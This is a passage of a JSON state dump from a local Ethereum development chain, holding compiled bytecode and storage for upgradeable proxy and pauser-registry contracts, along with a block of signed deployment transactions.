070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000033":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x0000000000000000000000000000000000000000000000000000000000000065":"0x000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512","0x0000000000000000000000000000000000000000000000000000000000000066":"0x0000000000000000000000000000000000000000000000000000000000000000","0x0000000000000000000000000000000000000000000000000000000000000097":"0x831f01b2aeb61d5d8c019704e62c25763057a8806c5c790bc8b4c99ee54ac8a7","0x000000000000000000000000000000000000000000000000000000000000009d":"0x000000000000000000000000000000000000000000000000000000000000000a","0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc":"0x000000000000000000000000a51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0","0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103":"0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"}},"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9":{"nonce":1,"balance":"0x0","code":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000033":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x0000000000000000000000000000000000000000000000000000000000000097":"0x000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512","0x0000000000000000000000000000000000000000000000000000000000000098":"0x0000000000000000000000000000000000000000000000000000000000000000","0x00000000000000000000000000000000000000000000000000000000000000c9":"0xd65ac9700cec4e530497617d02afdf0d5de3ed18466aca1578edcbce0d40ee16","0x00000000000000000000000000000000000000000000000000000000000000cb":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc":"0x0000000000000000000000000dcd1bf9a1b36ce34237eeafef220932846bcd82","0x3d2729dff03bf559da35a983e55814217363c2a44a7ea59bdf688ab8754ea49d":"0x0000000000000000000000000000000000000000000000000000000000000001","0x6e45a9ad53caf7293849c96e5070a246e20a7cc2986b7660b3fb63e30ab898fc":"0x0000000000000000000000000000000000000000000000000000000000000000","0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103":"0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"}},"0xe7f1725e7734ce288f8367e1bb143e90bb3f0512":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806346fbf68e146100515780638568520614610089578063ce5484281461009e578063eab66d7a146100b1575b600080fd5b61007461005f366004610313565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61009c610097366004610335565b6100dc565b005b61009c6100ac366004610313565b61011d565b6001546100c4906001600160a01b031681565b6040516001600160a01b039091168152602001610080565b6001546001600160a01b0316331461010f5760405162461bcd60e51b815260040161010690610371565b60405180910390fd5b6101198282610153565b5050565b6001546001600160a01b031633146101475760405162461bcd60e51b815260040161010690610371565b61015081610220565b50565b6001600160a01b0382166101bf5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b6064820152608401610106565b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b03811661028e5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b6064820152608401610106565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461030e57600080fd5b919050565b60006020828403121561032557600080fd5b61032e826102f7565b9392505050565b6000806040838503121561034857600080fd5b610351836102f7565b91506020830135801515811461036657600080fd5b809150509250929050565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b60608201526080019056fea26469706673582212200f9bddaf281b593acba4d40ad0f8076fa9190d1d819fa1d3c292d86b7ab6684564736f6c634300081c0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000001":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x723077b8a1b173adc35e5f0e7e3662fd1208212cb629f9c128551ea7168da722":"0x0000000000000000000000000000000000000000000000000000000000000001"}},"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266":{"nonce":58,"balance":"0x21e0ba21613cc9eb368","code":"0x","storage":{}},"0xf5059a5d33d5853360d16c683c16e67980206f36":{"nonce":1,"balance":"0x0","code":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","storage":{"0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc":"0x00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc49","0x3617319a054d772f909f7c479a2cebe5066e836a939412e32403c99029b92eff":"0x0000000000000000000000000000000000000000000000000000000000000001","0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103":"0x0000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042","0xcfb339bd1c51c488f6134f4ac63d1594afad827b3401c3fc51ed1da74a8ca14e":"0x0000000000000000000000000000000000000000000000000000000000000007"}}},"best_block_number":"0x10","blocks":[{"header":{"parentHash":"0xf24e1f57690eedcf4061c61f17f336486b8ac8b57cbebac56be35dbb5dbdd046","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0xdbd817fdfda8ee487357149a23ab34a0d6ac0abfde8f85e811f3f1822044bc7a","transactionsRoot":"0xb20a8e4b56c622939cdf31409262deb2eef8b7d75203cfa0c8d4c5ec5a7b6cad","receiptsRoot":"0x0fcbe189ece1da34799de2d8025d7aa40c77d15e1a12e71653c20f20fdea27c9","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000040000000000000000400000000000000000000000000000000000000000000000000400000000080010400000000000000000000000100001000000000000000000000000000002000000000000000000000000000000400000000000000000000000200000000000000080800000000000000000000000000000000008000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000001000000000000420000000000000000000000000000000000000000000000000000000000001000004801100000000000000","difficulty":"0x0","number":"0x2","gasLimit":"0x1c9c380","gasUsed":"0x17dd2b","timestamp":"0x67212bff","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x345fce36","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x1","gas":"0x6b57b","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x608060405234801561001057600080fd5b5060405161075038038061075083398101604081905261002f91610259565b60005b825181101561006d576100658382815181106100505761005061033a565b6020026020010151600161007e60201b60201c565b600101610032565b5061007781610150565b5050610350565b6001600160a01b0382166100ef5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b60648201526084015b60405180910390fd5b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b0381166101be5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b60648201526084016100e6565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b634e487b7160e01b600052604160045260246000fd5b80516001600160a01b038116811461025457600080fd5b919050565b6000806040838503121561026c57600080fd5b82516001600160401b0381111561028257600080fd5b8301601f8101851361029357600080fd5b80516001600160401b038111156102ac576102ac610227565b604051600582901b90603f8201601f191681016001600160401b03811182821017156102da576102da610227565b6040529182526020818401810192908101888411156102f857600080fd5b6020850194505b8385101561031e576103108561023d565b8152602094850194016102ff565b509450610331925050506020840161023d565b90509250929050565b634e487b7160e01b600052603260045260246000fd5b6103f18061035f6000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c806346fbf68e146100515780638568520614610089578063ce5484281461009e578063eab66d7a146100b1575b600080fd5b61007461005f366004610313565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61009c610097366004610335565b6100dc565b005b61009c6100ac366004610313565b61011d565b6001546100c4906001600160a01b031681565b6040516001600160a01b039091168152602001610080565b6001546001600160a01b0316331461010f5760405162461bcd60e51b815260040161010690610371565b60405180910390fd5b6101198282610153565b5050565b6001546001600160a01b031633146101475760405162461bcd60e51b815260040161010690610371565b61015081610220565b50565b6001600160a01b0382166101bf5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b6064820152608401610106565b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b03811661028e5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b6064820152608401610106565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461030e57600080fd5b919050565b60006020828403121561032557600080fd5b61032e826102f7565b9392505050565b6000806040838503121561034857600080fd5b610351836102f7565b91506020830135801515811461036657600080fd5b809150509250929050565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b60608201526080019056fea26469706673582212200f9bddaf281b593acba4d40ad0f8076fa9190d1d819fa1d3c292d86b7ab6684564736f6c634300081c00330000000000000000000000000000000000000000000000000000000000000040000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000003000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","r":"0x33711386ce008e0ed323d96d8e2c35c3eea246a000359e0f36e9b5080a0f80dd","s":"0x394ba0e41b96b68b05531167827f79603b2c416d5656c0241241adf96dc6884a","yParity":"0x1","hash":"0x36e493baf7271595140c6eb3ab0ad73f1a465f974b7f43e80bec732caa827f5e"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x2","gas":"0x191db","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052348015600f57600080fd5b50607780601d6000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c8063c298557814602d575b600080fd5b600060405190815260200160405180910390f3fea264697066735822122083f6599f3b40efb95aaba690bbeee04c49e0cc0eebd29434caa726d365b9d29f64736f6c634300081c0033","r":"0x6abf6e09b2d7f3e529085dddaf55820dd2677ce519861eb25047f7e020710484","s":"0x7a5e62198238b95e61f97fe50a43e62b5328079e6ba62f6eb6eb6793a77d2b52","yParity":"0x1","hash":"0x22a9f86b632e0721e86b2a5abace725309858cf2abca7c3f7f22df7902873912"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x3","gas":"0xb5dcb","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","r":"0x7010d32e53c3de99ade90e4969b936bf774fa7ba08a70148efb95611f35d00d5","s":"0x5b017d16807d0f8c1e2e316aa8fd82bc12e79a7c98281c383ca0fa1e70411dbf","yParity":"0x0","hash":"0x270f5665c89b4abca1028c602097170fb3da69543a0a0d50d7b432b3900a04b6"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x4","gas":"0xb5dcb","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104